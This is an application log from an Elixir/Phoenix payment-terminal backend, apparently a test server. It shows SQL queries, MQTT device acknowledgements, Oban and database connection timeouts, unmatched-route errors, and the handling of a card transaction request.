SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch265158791040"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Fri Sep  4 05:21:34.446000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:59104] QUERY OK source="pos_terminals" db=1.6ms idle=1850.5ms
SELECT p0.`id`, p0.`name`, p0.`serial_number`, p0.`device_type`, p0.`terminal_id`, p0.`provider_id`, p0.`status`, p0.`activated_by`, p0.`deactivated_by`, p0.`assigned_by`, p0.`longitude`, p0.`latitude`, p0.`assigned_date`, p0.`device_request_id`, p0.`threshold_fee`, p0.`terminalid`, p0.`terminalidmerchantid`, p0.`pos_merchant_id`, p0.`store_id`, p0.`inserted_at`, p0.`updated_at`, s1.`id`, s1.`code`, s1.`name`, s1.`neo_merchant_id`, s1.`address_id`, s1.`brand_id`, s1.`inserted_at`, s1.`updated_at` FROM `pos_terminals` AS p0 LEFT OUTER JOIN `stores` AS s1 ON p0.`store_id` = s1.`id` WHERE ((p0.`terminalidmerchantid` = ?) AND (p0.`terminal_id` = ?)) LIMIT 1 ["667267350000000", "26735914"]
↳ DaProductAppWeb.Services.DeviceTxnContext.lookup_device_and_store/2, at: lib/da_product_app_web/services/device_txn_context.ex:69
[Fri Sep  4 05:21:34.447000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:59104] QUERY OK source="brands" db=1.1ms idle=1852.4ms
SELECT b0.`id`, b0.`code`, b0.`name`, b0.`description`, b0.`default_acquirer`, b0.`group_id`, b0.`merchant_reference_id`, b0.`region`, b0.`merchant_tag`, b0.`inserted_at`, b0.`updated_at` FROM `brands` AS b0 WHERE (b0.`id` = ?) [667]
↳ DaProductAppWeb.Services.DeviceTxnContext.card_txn_context/2, at: lib/da_product_app_web/services/device_txn_context.ex:24
[Fri Sep  4 05:21:34.449000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:59104] QUERY OK source="user_metadata" db=1.0ms idle=655.0ms
SELECT u1.`name`, u1.`phone`, u1.`username`, c2.`code` FROM `user_metadata` AS u0 INNER JOIN `users` AS u1 ON u1.`id` = u0.`user_id` LEFT OUTER JOIN `currencies` AS c2 ON c2.`id` = u1.`currency_id` WHERE (u0.`merchant_refrence_number` = ?) LIMIT 1 ["667267350000000"]
↳ DaProductAppWeb.Services.DeviceTxnContext.lookup_merchant_currency/1, at: lib/da_product_app_web/services/device_txn_context.ex:117
[Fri Sep  4 05:21:34.450000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:59104] QUERY OK source="cloud_transaction" db=0.4ms queue=0.4ms idle=1855.2ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch265158791040"]
↳ DaProductAppWeb.Services.DeviceTxnContext.lookup_cloud_payload/1, at: lib/da_product_app_web/services/device_txn_context.ex:126
[Fri Sep  4 05:21:34.450000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:59104] Sent 200 in 20ms
[Fri Sep  4 05:21:44.941000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received ACK for merchant pFppbioOCKlo5c8E, device 98251226730002 with payload: {"request_id" : "ch265158791040","money": "15200.0", "status": "SUCCESS" }
[Fri Sep  4 05:21:44.941000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received OTA update for device 98251226730002 with request_id ch265158791040: %{"money" => "15200.0", "request_id" => "ch265158791040", "status" => "SUCCESS"}
[Fri Sep  4 05:21:44.941000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Status for request_id ch265158791040 is success
[Fri Sep  4 05:21:44.946000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=4.8ms idle=1348.2ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE ((c0.`transaction_ref_number` = ?) AND (c0.`device_id` = ?)) ["ch265158791040", "98251226730002"]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:52
[Fri Sep  4 05:21:45.028000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=80.0ms queue=0.3ms idle=1353.9ms
UPDATE `cloud_transaction` SET `status` = ?, `acknoledgment` = ?, `updated_at` = ? WHERE `id` = ? ["success", "received", ~N[2026-09-04 05:21:44], 4968]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:63
[Fri Sep  4 05:21:45.028000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Transaction ch265158791040 updated to success/received
[Fri Sep  4 05:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1870.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 05:30:01.045000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=1.8ms idle=1365.6ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 05:30:01Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 05:32:52.232000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 05:32:57.233000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 05:33:01.601000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 05:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.7ms idle=1812.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 05:43:34.191000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 05:43:54.548000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 05:43:59.550000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 05:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1749.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 05:56:24.707000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=1.7ms idle=1700.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 05:58:15.984000 2026] [Phoenix.Logger:info] [pid 2816631] [client 127.0.0.1:40520] GET /pgpayments/pay/return
[Fri Sep  4 05:58:16.014000 2026] [Plug.Debugger:debug] [pid 2816631] [client 127.0.0.1:40520] ** (Phoenix.Router.NoRouteError) no route found for GET /pgpayments/pay/return (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 06:05:45.293000 2026] [Phoenix.Logger:info] [pid 2816631] [client 94.154.43.249:47028] POST /
[Fri Sep  4 06:05:45.317000 2026] [Plug.Debugger:debug] [pid 2816631] [client 94.154.43.249:47028] ** (Phoenix.Router.NoRouteError) no route found for POST / (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 06:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.8ms idle=1631.3ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 06:12:14.449000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 06:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1477.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 06:23:34.022000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 06:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1402.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 06:30:00.459000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=1.7ms idle=1282.0ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 06:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Fri Sep  4 06:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1350.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 06:40:54.118000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 06:40:58.122000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 06:40:59.119000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 06:42:02.047000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 06:42:03.176000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 06:42:05.571000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 06:42:07.050000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 06:42:12.014000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Fri Sep  4 06:45:08.251000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:36204] POST /api/device/initiate
[Fri Sep  4 06:45:08.255000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:36204] Processing with DaProductAppWeb.DeviceInitiateController.initiate/2
  Parameters: %{"accountLabel" => "", "amount" => "104", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch192202496168", "externalRefNumber2" => "4962683205", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730002"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Fri Sep  4 06:45:08.255000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:36204] Processing card transaction for reference: ch192202496168
[Fri Sep  4 06:45:08.270000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36204] QUERY OK source="users" db=14.2ms idle=991.9ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Fri Sep  4 06:45:08.287000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36204] QUERY OK source="custom_events" db=12.9ms queue=2.2ms idle=1007.6ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["initiate_card_txn_request"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Fri Sep  4 06:45:08.287000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:36204] Attempting to store custom event log:
Event ID: 35
Event Name: "Initiate Card Txn Request"
Event Value: "initiate_card_txn_request"
Reference ID: "ch192202496168"
Payload: %{
  username: "prasanna@dataaegis.com",
  amount: 104,
  account_label: "",
  app_key: "1234567897654",
  customer_mobile_number: "971501234567",
  external_ref_number: "ch192202496168",
  external_ref_number_2: "4962683205",
  external_ref_number_4: "",
  external_ref_numbers: "",
  push_to: %{"deviceId" => "98251226730002"}
}

[Fri Sep  4 06:45:08.287000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:36204] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    amount: 104,
    account_label: "",
    app_key: "1234567897654",
    customer_mobile_number: "971501234567",
    external_ref_number: "ch192202496168",
    external_ref_number_2: "4962683205",
    external_ref_number_4: "",
    external_ref_numbers: "",
    push_to: %{"deviceId" => "98251226730002"}
  },
  event_name: "Initiate Card Txn Request",
  refrence_id: "ch192202496168",
  transaction_id: nil,
  date_added: ~U[2026-09-04 06:45:08.287604Z],
  event_id: 35,
  event_value: "initiate_card_txn_request"
}
[Fri Sep  4 06:45:08.287000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:36204] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", amount: 104, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch192202496168", external_ref_number_2: "4962683205", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98251226730002"}}, event_name: "Initiate Card Txn Request", refrence_id: "ch192202496168", transaction_id: nil, date_added: ~U[2026-09-04 06:45:08.287604Z], event_id: 35, event_value: "initiate_card_txn_request"}
[Fri Sep  4 06:45:08.344000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36204] QUERY OK db=55.9ms idle=1023.0ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", amount: 104, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch192202496168", external_ref_number_2: "4962683205", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98251226730002"}}, "Initiate Card Txn Request", "ch192202496168", ~U[2026-09-04 06:45:08Z], 35, "initiate_card_txn_request", ~N[2026-09-04 06:45:08], ~N[2026-09-04 06:45:08]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Fri Sep  4 06:45:08.344000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:36204] Successfully created custom event log with ID: 40256
[Fri Sep  4 06:45:08.345000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:36204] Handling card transaction:
- Reference: ch192202496168
- Amount: 104
- Params: %{"accountLabel" => "", "amount" => "104", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch192202496168", "externalRefNumber2" => "4962683205", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730002"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}

[Fri Sep  4 06:45:08.351000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36204] QUERY OK source="users" db=4.3ms idle=1081.9ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Fri Sep  4 06:45:08.352000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36204] QUERY OK source="custom_events" db=1.1ms idle=1086.7ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_device_online_status"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Fri Sep  4 06:45:08.354000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:36204] Attempting to store custom event log:
Event ID: 36
Event Name: "Response From Device Online Status"
Event Value: "response_from_device_online_status"
